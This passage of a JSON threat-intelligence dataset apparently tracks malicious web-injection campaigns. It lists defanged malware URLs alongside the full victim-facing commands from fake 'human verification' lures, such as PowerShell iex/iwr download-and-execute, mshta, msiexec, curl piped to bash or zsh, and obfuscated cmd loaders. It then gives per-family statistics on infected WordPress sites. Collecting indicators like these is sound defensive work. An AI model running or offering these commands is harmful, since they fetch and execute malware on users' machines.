%y in (%LocalAppData%\\NHEWS.hta) do !x!!c! -skLo \"%y\" kyleandshale[.]com/faq& start \"\" \"%y\")\" & rem              ---------- Human verification: press Enter to continue","lastSeen":"2026-10-27","firstSeen":"2026-10-27"},{"url":"hxxps://last-version[.]install-2026[.]com/app","host":"last-version[.]install-2026[.]com","kits":[],"urls":1,"sites":1,"command":"mshta hxxps://last-version[.]install-2026[.]com/app","lastSeen":"2026-10-18","firstSeen":"2026-10-18"},{"url":"finger://leftsideegpeakk[.]com/dfgwertvads23","host":"leftsideegpeakk[.]com","kits":[],"urls":1,"sites":1,"command":"%COMSPEC% /c \"%COMSPEC% /c start \"\" /min for /f \"delims=@\" %u in\" (',f^^i^^n^^g^^e^^r df^g^w^e^r^tva^ds^^23@leftsideegpeakk[.]com') do %u &","lastSeen":"2026-09-26","firstSeen":"2026-09-26"},{"url":"hxxp://lewdstories[.]com/XzJollS178532bE7","host":"lewdstories[.]com","kits":["lenai"],"urls":1,"sites":1,"command":"$a=(iwr 'lewdstories[.]com/XzJollS178532bE7' -UseBasicParsing).Content;$b=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($a));powershell -w hidden -ec $b","lastSeen":"2026-09-12","firstSeen":"2026-09-12"},{"url":"hxxps://linen10[.]com/curl/9aep946cs/qtnnzugfs6o7d8lkg7t.json","host":"linen10[.]com","kits":["branchhop","bwpanel","lenai"],"urls":1,"sites":1,"command":"curl -s $(echo \"[base64 of: hxxps://linen10[.]com/curl/9aep946cs/qtnnzugfs6o7d8lkg7t.json]\" | openssl base64 -d -A) | zsh","lastSeen":"2026-09-29","firstSeen":"2026-09-29"},{"url":"hxxps://lucky[.]gives/s/_AmNPRXR7XsKu6AgMRnToP8RKZE.ps1","host":"lucky[.]gives","kits":[],"urls":2,"sites":1,"command":"iex (iwr \"hxxps://lucky[.]gives/s/_AmNPRXR7XsKu6AgMRnToP8RKZE.ps1\" -UseBasicParsing)","lastSeen":"2026-10-08","firstSeen":"2026-10-08"},{"url":"hxxp://matrixhub[.]site/check.hta","host":"matrixhub[.]site","kits":["timbercheck"],"urls":1,"sites":1,"command":"mshta hxxp://matrixhub[.]site/check.hta","lastSeen":"2026-09-07","firstSeen":"2026-09-07"},{"url":"hxxps://mefiji[.]com/rep1.php","host":"mefiji[.]com","kits":["stopandprotect"],"urls":1,"sites":1,"command":"powershell -NoP -Exec Bypass -C \"try{iwr 'hxxps://mefiji[.]com/rep1.php' -Method Post -Body @{status='Done';completed='true';ts=(Get-Date -Format 'yyyy-MM-dd HH:mm:ss');domain='{compressedDomain}'} -UseB -TimeoutSec 5 |Out-Null}catch{}; exit\"","lastSeen":"2026-09-06","firstSeen":"2026-09-06"},{"url":"hxxps://mhw[.]codes/check","host":"mhw[.]codes","kits":["timbercheck"],"urls":1,"sites":1,"command":"msiexec /i hxxps://mhw[.]codes/check","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxp://mireandsoapstone[.]com/wog","host":"mireandsoapstone[.]com","kits":["smartapesg"],"urls":1,"sites":1,"command":"%COMSPEC% /c start \"\" /min %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for %y in (%LocalAppData%\\NHEWS.hta) do !x!!c! -skLo \"%y\" mireandsoapstone[.]com/wog& start \"\" \"%y\")\"","lastSeen":"2026-10-20","firstSeen":"2026-10-20"},{"url":"hxxps://mlroweb[.]com/dantestraff3/a39786634b980999","host":"mlroweb[.]com","kits":["lenai"],"urls":1,"sites":1,"command":"(irm 'hxxps://mlroweb[.]com/dantestraff3/a39786634b980999' -UserAgent 'WUA/94a73ace71' -Headers @{'X-WUA'='94a73ace71'})|iex","lastSeen":"2026-10-06","firstSeen":"2026-10-06"},{"url":"hxxps://monitoringsites[.]shop/5b0faa9e326274be","host":"monitoringsites[.]shop","kits":["lenai"],"urls":1,"sites":1,"command":"irm 'hxxps://monitoringsites[.]shop/5b0faa9e326274be' | iex","lastSeen":"2026-11-01","firstSeen":"2026-11-01"},{"url":"hxxp://multisavcx[.]xyz/ncx","host":"multisavcx[.]xyz","kits":["quietchisel"],"urls":1,"sites":1,"command":"","lastSeen":"2026-09-23","firstSeen":"2026-09-23"},{"url":"hxxps://new[.]mx-mmail[.]com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest","host":"new[.]mx-mmail[.]com","kits":[],"urls":1,"sites":1,"command":"powershell -WindowStyle Hidden -Command \"$p=$env:TEMP+'\\as.exe';iwr 'hxxps://new[.]mx-mmail[.]com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest' -OutFile $p -UseBasicParsing;if(Test-Path $p){Start-Process $p}\"","lastSeen":"2026-09-27","firstSeen":"2026-09-23"},{"url":"hxxps://oeilmc5[.]masterbet[.]pro//update[.]sh","host":"oeilmc5[.]masterbet[.]pro","kits":[],"urls":1,"sites":1,"command":"curl -s 'hxxps://oeilmc5[.]masterbet[.]pro//update[.]sh' | bash","lastSeen":"2026-10-13","firstSeen":"2026-10-13"},{"url":"hxxps://panychurasc0[.]com/ORIGINAL/13.exe","host":"panychurasc0[.]com","kits":["patchbeaver"],"urls":1,"sites":1,"command":"iwr \\'hxxps://panychurasc0[.]com/ORIGINAL/13.exe\\' -OutFile $env:tmp\\\\ChromeSetup.exe;saps $env:tmp\\\\ChromeSetup.exe\\","lastSeen":"2026-09-06","firstSeen":"2026-09-06"},{"url":"hxxp://peedprexz[.]xyz/hoz/","host":"peedprexz[.]xyz","kits":["quietchisel"],"urls":1,"sites":1,"command":"","lastSeen":"2026-10-02","firstSeen":"2026-10-02"},{"url":"hxxps://penguinpublishers[.]org/files/audio/","host":"penguinpublishers[.]org","kits":["timbercheck"],"urls":1,"sites":1,"command":"cmd.exe /c powershell -w h -ep Bypass -nop -c \"$h='b.ps1';$n=$env:USERPROFILE+'\\\\Downloads\\\\'+$h;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('hxxps://penguinpublishers[.]org/files/audio/', $n);& $n;Remove-Item $n -Force;\"","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxps://portal-idos[.]network/auth?xc=3488779","host":"portal-idos[.]network","kits":["framegnaw"],"urls":2,"sites":1,"command":"","lastSeen":"2026-09-18","firstSeen":"2026-09-17"},{"url":"hxxps://postaspen18[.]com/curl/403rtw0brf8/xcity3lv14lpb1qv.dat","host":"postaspen18[.]com","kits":["chainbite","lenai"],"urls":1,"sites":1,"command":"curl -s $(echo \"[base64 of: hxxps://postaspen18[.]com/curl/403rtw0brf8/xcity3lv14lpb1qv.dat]\" | openssl base64 -d -A) | zsh","lastSeen":"2026-09-18","firstSeen":"2026-09-18"},{"url":"hxxps://pro-2734[.]avsecurity[.]workers[.]dev/gd?id=","host":"pro-2734[.]avsecurity[.]workers[.]dev","kits":["statustail"],"urls":1,"sites":1,"command":"","lastSeen":"2026-09-26","firstSeen":"2026-09-26"},{"url":"hxxp://ravineandturquoise[.]com/jqq","host":"ravineandturquoise[.]com","kits":["smartapesg"],"urls":1,"sites":1,"command":"%COMSPEC% /c start \"\" /min %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for %y in (%LocalAppData%\\HUREAG.hta) do !x!!c! -skLo \"%y\" ravineandturquoise[.]com/jqq& start \"\" \"%y\")\"","lastSeen":"2026-10-06","firstSeen":"2026-10-06"},{"url":"hxxps://richardkemick[.]com/vcapcha.ps1","host":"richardkemick[.]com","kits":["stopandprotect"],"urls":1,"sites":1,"command":"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://richardkemick[.]com/vcapcha.ps1'))\"","lastSeen":"2026-09-19","firstSeen":"2026-09-19"},{"url":"hxxps://s1w21[.]comen[.]store/update[.]sh","host":"s1w21[.]comen[.]store","kits":[],"urls":1,"sites":1,"command":"curl -s 'hxxps://s1w21[.]comen[.]store/update[.]sh' | bash","lastSeen":"2026-10-12","firstSeen":"2026-10-12"},{"url":"hxxps://sarp08[.]no/vcapcha.ps1","host":"sarp08[.]no","kits":["stopandprotect"],"urls":1,"sites":1,"command":"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://sarp08[.]no/vcapcha.ps1'))\"","lastSeen":"2026-09-10","firstSeen":"2026-09-10"},{"url":"hxxps://shadenetwork[.]live/auth?xc=3488781","host":"shadenetwork[.]live","kits":["framegnaw"],"urls":2,"sites":1,"command":"","lastSeen":"2026-09-18","firstSeen":"2026-09-13"},{"url":"hxxps://shatamilo[.]com/WP/9e1d28f282c454ba","host":"shatamilo[.]com","kits":["lenai"],"urls":1,"sites":1,"command":"(irm 'hxxps://shatamilo[.]com/WP/9e1d28f282c454ba' -Headers @{'X-WUA'='dd4cf327e7'} -TimeoutSec 45)|&('i'+'e'+'x')","lastSeen":"2026-11-04","firstSeen":"2026-11-04"},{"url":"hxxps://sixpences[.]xyz/auth?xc=3224644","host":"sixpences[.]xyz","kits":["framegnaw"],"urls":1,"sites":1,"command":"","lastSeen":"2026-09-06","firstSeen":"2026-09-06"},{"url":"hxxps://socialviewsec[.]lc/p?d=aa390893&echo","host":"socialviewsec[.]lc","kits":["gzipgnaw","lenai"],"urls":1,"sites":1,"command":"cmd /c \"(echo cd /d %~dp0&echo copy /b /y %windir%\\system32\\c?rl.exe x224.exe&echo .\\x224.exe -k -sLo a224.exe hxxps://socialviewsec[.]lc/p?d=aa390893&echo start a224.exe&echo del x224.exe)>%TEMP%\\s224.cmd& cmd /c %TEMP%\\s224.cmd\"","lastSeen":"2026-11-02","firstSeen":"2026-11-02"},{"url":"hxxps://soundcloudapp[.]com/files/addon.exe","host":"soundcloudapp[.]com","kits":["tokentooth"],"urls":1,"sites":1,"command":"iwr 'hxxps://soundcloudapp[.]com/files/addon.exe' -o $env:tmp\\gsxo.exe; & $env:tmp\\gsxo.exe","lastSeen":"2026-10-13","firstSeen":"2026-10-13"},{"url":"hxxps://stealer[.]cy/psc?uid=101^","host":"stealer[.]cy","kits":[],"urls":2,"sites":1,"command":"powershell -w hidden -ep bypass -c \"Start-Process powershell -WindowStyle Hidden -ArgumentList '-ep bypass -c iwr hxxps://stealer[.]cy/psc?uid=101^|iex'\"","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxps://techforyou[.]icu/e2","host":"techforyou[.]icu","kits":["lenai"],"urls":1,"sites":1,"command":"","lastSeen":"2026-09-28","firstSeen":"2026-09-28"},{"url":"hxxps://update[.]neewsoo[.]com/dl/kb1000013.msi","host":"update[.]neewsoo[.]com","kits":[],"urls":1,"sites":1,"command":"cmd /c curl -gkso %TEMP%\\wud.msi hxxps://update[.]neewsoo[.]com/dl/kb1000013.msi && msiexec /i %TEMP%\\wud.msi /qn","lastSeen":"2026-11-03","firstSeen":"2026-11-03"},{"url":"hxxps://updater[.]avngr[.]workers[.]dev/sync","host":"updater[.]avngr[.]workers[.]dev","kits":[],"urls":1,"sites":1,"command":"echo \"Cloudflare verification\" && curl -sf -H \"App-Origin: hxxps://cloudflare[.]com/\" $(echo \"[base64 of: hxxps://updater[.]avngr[.]workers[.]dev/sync]\" | base64 -d) | osascript -l JavaScript","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxps://virazofurniture[.]in/update.php?webhook=","host":"virazofurniture[.]in","kits":["lenai"],"urls":1,"sites":1,"command":"irm 'hxxps://virazofurniture[.]in/update.php?webhook={ray}' | iex","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxp://voeandschist[.]com/ser","host":"voeandschist[.]com","kits":["smartapesg"],"urls":1,"sites":1,"command":"%COMSPEC% /c start \"\" /m^i^n %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for %y in (%LocalAppData%\\NHEWS.hta) do !x!!c! -skLo \"%y\" voeandschist[.]com/ser& start \"\" \"%y\")\" & rem              ---------- Human verification: press Enter to continue","lastSeen":"2026-10-28","firstSeen":"2026-10-28"},{"url":"webdav://web-captcha[.]co/verification[.]google","host":"web-captcha[.]co","kits":[],"urls":1,"sites":1,"command":"rundll32.exe \\\\web-captcha[.]co\\verification[.]google,#1\"","lastSeen":"2026-09-15","firstSeen":"2026-09-15"},{"url":"hxxps://www[.]jsacces[.]online/verification.html","host":"www[.]jsacces[.]online","kits":["imagegnaw","lnkr","trackmyposs"],"urls":1,"sites":1,"command":"mshta hxxps://www[.]jsacces[.]online/verification.html # \"Microsoft Windows: DNS service Reload and Restart UP\"","lastSeen":"2026-10-07","firstSeen":"2026-09-06"},{"url":"hxxps://www[.]sendspace[.]com/file/oid51kfw","host":"www[.]sendspace[.]com","kits":[],"urls":1,"sites":1,"command":"powershell -c \"$f=$env:TEMP+'\\av.EXE';$d=(curl.exe -s -b ssjsok=1 hxxps://www[.]sendspace[.]com/file/oid51kfw|sls hxxps://fs\\S*exe).Matches.Value;curl.exe -s -o $f $d;ii $f\"","lastSeen":"2026-10-15","firstSeen":"2026-10-15"},{"url":"hxxps://www[.]yundatabox[.]com/KL.bat","host":"www[.]yundatabox[.]com","kits":[],"urls":1,"sites":1,"command":"powershell -Command \"Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force; Invoke-WebRequest -Uri 'hxxps://www[.]yundatabox[.]com/KL.bat' -OutFile 'KL.bat'; Start-Process 'KL.bat'\"","lastSeen":"2026-10-02","firstSeen":"2026-10-02"},{"url":"hxxp://xn--dexsceene-4fee[.]com","host":"xn--dexsceene-4fee[.]com","kits":[],"urls":1,"sites":1,"command":"","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxps://yogasitesdev[.]wpengine[.]com/2/15.ps1","host":"yogasitesdev[.]wpengine[.]com","kits":["hashtail"],"urls":1,"sites":1,"command":"-w hidden -c \"iwr 'hxxps://yogasitesdev[.]wpengine[.]com/2/15.ps1' | iex\"","lastSeen":"2026-09-07","firstSeen":"2026-09-07"},{"url":"hxxps://youcool[.]pl/wp-admin/admin-ajax.php?action=splash_dl","host":"youcool[.]pl","kits":["splashlodge"],"urls":1,"sites":1,"command":"powershell -w h -Command \"$s=irm 'hxxps://youcool[.]pl/wp-admin/admin-ajax.php?action=splash_dl' -UseBasicParsing; $p=[System.IO.Path]::Combine($env:TEMP, 't.ps1'); [System.IO.File]::WriteAllText($p, $s); Invoke-Expression $p\"","lastSeen":"2026-09-06","firstSeen":"2026-09-06"}],"families":{"la02":{"sites":7411,"joomla":0,"months":[{"month":"2026-08","sites":123,"newSites":123},{"month":"2026-09","sites":5658,"newSites":5655},{"month":"2026-10","sites":2883,"newSites":1528},{"month":"2026-11","sites":132,"newSites":105}],"wpCore":{"6.0":20,"6.1":27,"6.2":19,"6.3":7,"6.4":27,"6.5":24,"6.6":25,"6.7":58,"6.8":167,"6.9":163,"7.0":336,"7.1":2585,"other":316,"older6":152},"plugins":{"akismet":195,"elementor":1636,"revslider":397,"wordfence":339,"wp-rocket":130,"js_composer":224,"woocommerce":593,"pro-elements":117,"wpforms-lite":224,"elementor-pro":775,"wordpress-seo":337,"contact-form-7":918,"google-site-kit":454,"litespeed-cache":494,"elementskit-lite":296,"seo-by-rank-math":400,"all-in-one-seo-pack":129,"royal-elementor-addons":117,"header-footer-elementor":299,"essential-addons-for-elementor-lite":207},"sites30":2781,"captured":4075,"lastSeen":"2026-11-04","overlaps":{"lenai":1107,"coruna":16,"bwpanel":219,"hexmage":22,"nochain":19,"twinkey":19,"xorveil":92,"gzipgnaw":33,"branchhop":129,"chainbite":71,"skinframe":166,"stripcall":30,"adminshade":30,"clearshort":10,"drivesurge":560,"embedshade":191,"linkcradle":27,"offerlodge":13,"overlaywar":897,"socgholish":231,"tableframe":55,"doubledonut":65,"sessionlatch":15},"firstSeen":"2026-08-01","wordpress":3926,"persistence":{"still":1299,"rechecked":2480}},"lnkr":{"sites":359,"joomla":0,"months":[{"month":"2026-08","sites":40,"newSites":40},{"month":"2026-09","sites":104,"newSites":86},{"month":"2026-10","sites":279,"newSites":212},{"month":"2026-11","sites":28,"newSites":21}],"wpCore":{"6.7":14,"6.8":21,"6.9":11,"7.0":20,"7.1":72,"other":32,"older6":26},"plugins":{"akismet":17,"jetpack":9,"elementor":90,"revslider":35,"wordfence":17,"js_composer":28,"layerslider":7,"woocommerce":41,"wpforms-lite":13,"elementor-pro":36,"wordpress-seo":14,"complianz-gdpr":7,"contact-form-7":77,"cookie-law-info":13,"google-site-kit":24,"litespeed-cache":11,"elementskit-lite":11,"all-in-one-seo-pack":7,"header-footer-elementor":14,"essential-addons-for-elementor-lite":12},"sites30":286,"captured":247,"lastSeen":"2026-11-04","overlaps":{"trackmyposs":86},"firstSeen":"2026-08-23","wordpress":196,"persistence":{"still":20,"rechecked":34}},"n0va":{"sites":26,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":14,"newSites":14},{"month":"2026-10","sites":12,"newSites":12},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":9,"captured":13,"lastSeen":"2026-10-29","overlaps":{},"firstSeen":"2026-09-04","wordpress":0,"persistence":{"still":0,"rechecked":0}},"gcore":{"sites":166,"joomla":0,"months":[{"month":"2026-08","sites":26,"newSites":26},{"month":"2026-09","sites":49,"newSites":49},{"month":"2026-10","sites":91,"newSites":91},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":79,"captured":94,"lastSeen":"2026-10-30","overlaps":{},"firstSeen":"2026-08-04","wordpress":0,"persistence":{"still":0,"rechecked":0}},"ghost":{"sites":162,"joomla":0,"months":[{"month":"2026-08","sites":7,"newSites":7},{"month":"2026-09","sites":46,"newSites":46},{"month":"2026-10","sites":103,"newSites":102},{"month":"2026-11","sites":7,"newSites":7}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":104,"captured":114,"lastSeen":"2026-11-04","overlaps":{},"firstSeen":"2026-08-14","wordpress":0,"persistence":{"still":1,"rechecked":1}},"hacki":{"sites":1,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":1,"newSites":1},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-10-02","overlaps":{},"firstSeen":"2026-10-02","wordpress":0,"persistence":{"still":0,"rechecked":0}},"lenai":{"sites":13700,"joomla":0,"months":[{"month":"2026-08","sites":738,"newSites":738},{"month":"2026-09","sites":6938,"newSites":6835},{"month":"2026-10","sites":8719,"newSites":5231},{"month":"2026-11","sites":1247,"newSites":896}],"wpCore":{"6.0":61,"6.1":86,"6.2":68,"6.3":46,"6.4":99,"6.5":125,"6.6":112,"6.7":204,"6.8":457,"6.9":583,"7.0":640,"7.1":4907,"other":1281,"older6":453},"plugins":{"akismet":283,"elementor":4014,"revslider":1142,"wordfence":432,"wp-rocket":270,"js_composer":677,"woocommerce":1547,"pro-elements":287,"wpforms-lite":561,"elementor-pro":1885,"wordpress-seo":848,"contact-form-7":2563,"cookie-law-info":275,"google-site-kit":1271,"litespeed-cache":771,"elementskit-lite":701,"seo-by-rank-math":385,"all-in-one-seo-pack":255,"header-footer-elementor":545,"essential-addons-for-elementor-lite":539},"sites30":9159,"captured":9728,"lastSeen":"2026-11-04","overlaps":{"la02":1107,"coruna":570,"bwpanel":349,"helptds":10,"hexmage":25,"nochain":1075,"twinkey":19,"xorveil":112,"gzipgnaw":34,"txtrelay":304,"branchhop":234,"chainbite":213,"cookiedam":11,"fleetsync":26,"skinframe":224,"adminshade":71,"clearshort":14,"drivesurge":513,"embedshade":1024,"linkcradle":56,"overlaywar":971,"socgholish":52,"tableframe":351,"doubledonut":126,"envelopedam":22,"framefinger":122,"pixelsplice":151,"sessionlatch":13},"firstSeen":"2026-08-10","wordpress":9122,"persistence":{"still":3564,"rechecked":4550}},"sign1":{"sites":4,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":4,"newSites":4},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":4,"older6":0},"plugins":{"akismet":1,"elementor":2,"revslider":2,"wordfence":0,"add-to-any":1,"astra-sites":1,"speaker_old":1,"wpforms-lite":2,"wordpress-seo":1,"contact-form-7":2,"google-site-kit":1,"my-custom-plugin":1,"all-in-one-seo-pack":1,"likebtn-like-button":1,"logo-carousel-slider":1,"gallery-lightbox-slider":1,"srs-simple-hits-counter":1,"premium-addons-for-elementor":1,"essential-addons-for-elementor-lite":1,"wp-logo-showcase-responsive-slider-slider":1},"sites30":4,"captured":4,"lastSeen":"2026-10-24","overlaps":{},"firstSeen":"2026-10-09","wordpress":4,"persistence":{"still":0,"rechecked":0}},"bankid":{"sites":2,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":2,"newSites":2},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":2,"captured":2,"lastSeen":"2026-10-27","overlaps":{},"firstSeen":"2026-10-27","wordpress":0,"persistence":{"still":0,"rechecked":0}},"coruna":{"sites":601,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":450,"newSites":450},{"month":"2026-11","sites":151,"newSites":151}],"wpCore":{"6.2":6,"6.5":10,"6.6":5,"6.7":9,"6.8":30,"6.9":29,"7.0":32,"7.1":299,"other":56,"older6":19},"plugins":{"elementor":248,"hostinger":21,"revslider":68,"wordfence":3,"astra-sites":21,"js_composer":35,"woocommerce":103,"pro-elements":30,"wpforms-lite":38,"elementor-pro":114,"wordpress-seo":47,"contact-form-7":145,"google-site-kit":81,"hostinger-reach":24,"litespeed-cache":64,"elementskit-lite":74,"seo-by-rank-math":24,"woocommerce-payments":20,"header-footer-elementor":32,"skyboot-custom-icons-for-elementor":26,"essential-addons-for-elementor-lite":30},"sites30":601,"captured":505,"lastSeen":"2026-11-04","overlaps":{"la02":16,"lenai":570,"bwpanel":14,"branchhop":12,"embedshade":50,"overlaywar":19,"tableframe":14},"firstSeen":"2026-10-03","wordpress":495,"persistence":{"still":0,"rechecked":0}},"csuite":{"sites":85,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":22,"newSites":22},{"month":"2026-10","sites":59,"newSites":59},{"month":"2026-11","sites":4,"newSites":4}],"wpCore":{"other":1,"older6":0},"plugins":{"wordfence":0},"sites30":58,"captured":52,"lastSeen":"2026-11-03","overlaps":{},"firstSeen":"2026-09-01","wordpress":1,"persistence":{"still":0,"rechecked":0}},"kratos":{"sites":3,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":1,"newSites":1},{"month":"2026-10","sites":2,"newSites":2},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":2,"captured":2,"lastSeen":"2026-10-14","overlaps":{},"firstSeen":"2026-09-18","wordpress":0,"persistence":{"still":0,"rechecked":0}},"vshell":{"sites":1,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":1,"newSites":1},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":1,"captured":0,"lastSeen":"2026-10-07","overlaps":{},"firstSeen":"2026-10-07","wordpress":0,"persistence":{"still":0,"rechecked":0}},"antired":{"sites":1,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":1,"newSites":1},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":1,"captured":1,"lastSeen":"2026-10-17","overlaps":{},"firstSeen":"2026-10-17","wordpress":0,"persistence":{"still":0,"rechecked":0}},"birdeye":{"sites":3,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":3,"newSites":3},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":3,"captured":3,"lastSeen":"2026-10-11","overlaps":{},"firstSeen":"2026-10-08","wordpress":0,"persistence":{"still":0,"rechecked":0}},"bwpanel":{"sites":3242,"joomla":1,"months":[{"month":"2026-08","sites":765,"newSites":765},{"month":"2026-09","sites":2252,"newSites":1856},{"month":"2026-10","sites":1764,"newSites":596},{"month":"2026-11","sites":52,"newSites":25}],"wpCore":{"6.0":14,"6.1":8,"6.2":18,"6.3":11,"6.4":15,"6.5":11,"6.6":22,"6.7":40,"6.8":88,"6.9":122,"7.0":168,"7.1":1378,"other":193,"older6":85},"plugins":{"akismet":151,"jetpack":81,"metform":71,"elementor":1245,"revslider":282,"wordfence":84,"js_composer":163,"woocommerce":434,"pro-elements":84,"wpforms-lite":163,"elementor-pro":618,"wordpress-seo":216,"contact-form-7":683,"google-site-kit":290,"litespeed-cache":99,"elementskit-lite":246,"seo-by-rank-math":94,"royal-elementor-addons":72,"header-footer-elementor":189,"essential-addons-for-elementor-lite":163},"sites30":1611,"captured":2299,"lastSeen":"2026-11-04","overlaps":{"la02":219,"lenai":349,"coruna":14,"twinkey":34,"xorveil":14,"branchhop":67,"chainbite":34,"skinframe":41,"clearshort":10,"drivesurge":69,"embedshade":73,"overlaywar":128,"socgholish":41,"tableframe":16,"verifyfork":38,"doubledonut":53,"sessionlatch":31},"firstSeen":"2026-08-02","wordpress":2173,"persistence":{"still":1154,"rechecked":1692}},"darcula":{"sites":16,"joomla":0,"months":[{"month":"2026-08","sites":4,"newSites":4},{"month":"2026-09","sites":11,"newSites":11},{"month":"2026-10","sites":1,"newSites":1},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":1,"captured":1,"lastSeen":"2026-10-13","overlaps":{"postalscam":15},"firstSeen":"2026-08-21","wordpress":0,"persistence":{"still":0,"rechecked":0}},"dkstool":{"sites":1,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":1,"newSites":1},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":1,"captured":1,"lastSeen":"2026-10-15","overlaps":{},"firstSeen":"2026-10-15","wordpress":0,"persistence":{"still":0,"rechecked":0}},"helptds":{"sites":201,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":34,"newSites":34},{"month":"2026-10","sites":134,"newSites":132},{"month":"2026-11","sites":35,"newSites":35}],"wpCore":{"6.9":6,"other":4,"older6":1},"plugins":{"akismet":1,"elementor":5,"revslider":4,"wordfence":0,"elementskit":1,"js_composer":2,"woocommerce":3,"elementor-pro":2,"wordpress-seo":2,"ait-shortcodes":1,"contact-form-7":4,"generateblocks":1,"google-site-kit":4,"burst-statistics":1,"elementskit-lite":1,"seo-by-rank-math":2,"creame-whatsapp-me":1,"contact-us-bottom-bar":1,"happy-elementor-addons":1,"custom-facebook-feed-pro":1,"bluehost-wordpress-plugin":1},"sites30":165,"captured":105,"lastSeen":"2026-11-04","overlaps":{"lenai":10,"drivesurge":10},"firstSeen":"2026-09-06","wordpress":11,"persistence":{"still":1,"rechecked":1}},"hexmage":{"sites":483,"joomla":0,"months":[{"month":"2026-08","sites":46,"newSites":46},{"month":"2026-09","sites":354,"newSites":346},{"month":"2026-10","sites":310,"newSites":81},{"month":"2026-11","sites":16,"newSites":10}],"wpCore":{"6.8":14,"6.9":14,"7.0":25,"7.1":132,"other":40,"older6":4},"plugins":{"jetpack":23,"elementor":130,"revslider":45,"wordfence":47,"js_composer":31,"woocommerce":183,"wpforms-lite":23,"elementor-pro":80,"wordpress-seo":36,"contact-form-7":97,"google-site-kit":63,"litespeed-cache":46,"elementskit-lite":22,"mailchimp-for-wp":18,"seo-by-rank-math":24,"woocommerce-payments":25,"woo-variation-swatches":19,"facebook-for-woocommerce":38,"woocommerce-paypal-payments":21,"essential-addons-for-elementor-lite":18},"sites30":327,"captured":298,"lastSeen":"2026-11-04","overlaps":{"la02":22,"lenai":25,"drivesurge":17},"firstSeen":"2026-08-11","wordpress":229,"persistence":{"still":204,"rechecked":235}},"kali365":{"sites":403,"joomla":0,"months":[{"month":"2026-08","sites":142,"newSites":142},{"month":"2026-09","sites":114,"newSites":114},{"month":"2026-10","sites":142,"newSites":141},{"month":"2026-11","sites":6,"newSites":6}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":141,"captured":162,"lastSeen":"2026-11-04","overlaps":{},"firstSeen":"2026-08-03","wordpress":0,"persistence":{"still":0,"rechecked":1}},"legokit":{"sites":428,"joomla":0,"months":[{"month":"2026-08","sites":37,"newSites":37},{"month":"2026-09","sites":217,"newSites":217},{"month":"2026-10","sites":152,"newSites":152},{"month":"2026-11","sites":22,"newSites":22}],"wpCore":{"other":4,"older6":0},"plugins":{"elementor":1,"wordfence":0,"header-footer-elementor":1,"background-image-cropper":1},"sites30":153,"captured":203,"lastSeen":"2026-11-04","overlaps":{},"firstSeen":"2026-08-10","wordpress":4,"persistence":{"still":0,"rechecked":0}},"nochain":{"sites":3128,"joomla":0,"months":[{"month":"2026-08","sites":2137,"newSites":2137},{"month":"2026-09","sites":1913,"newSites":848},{"month":"2026-10","sites":1293,"n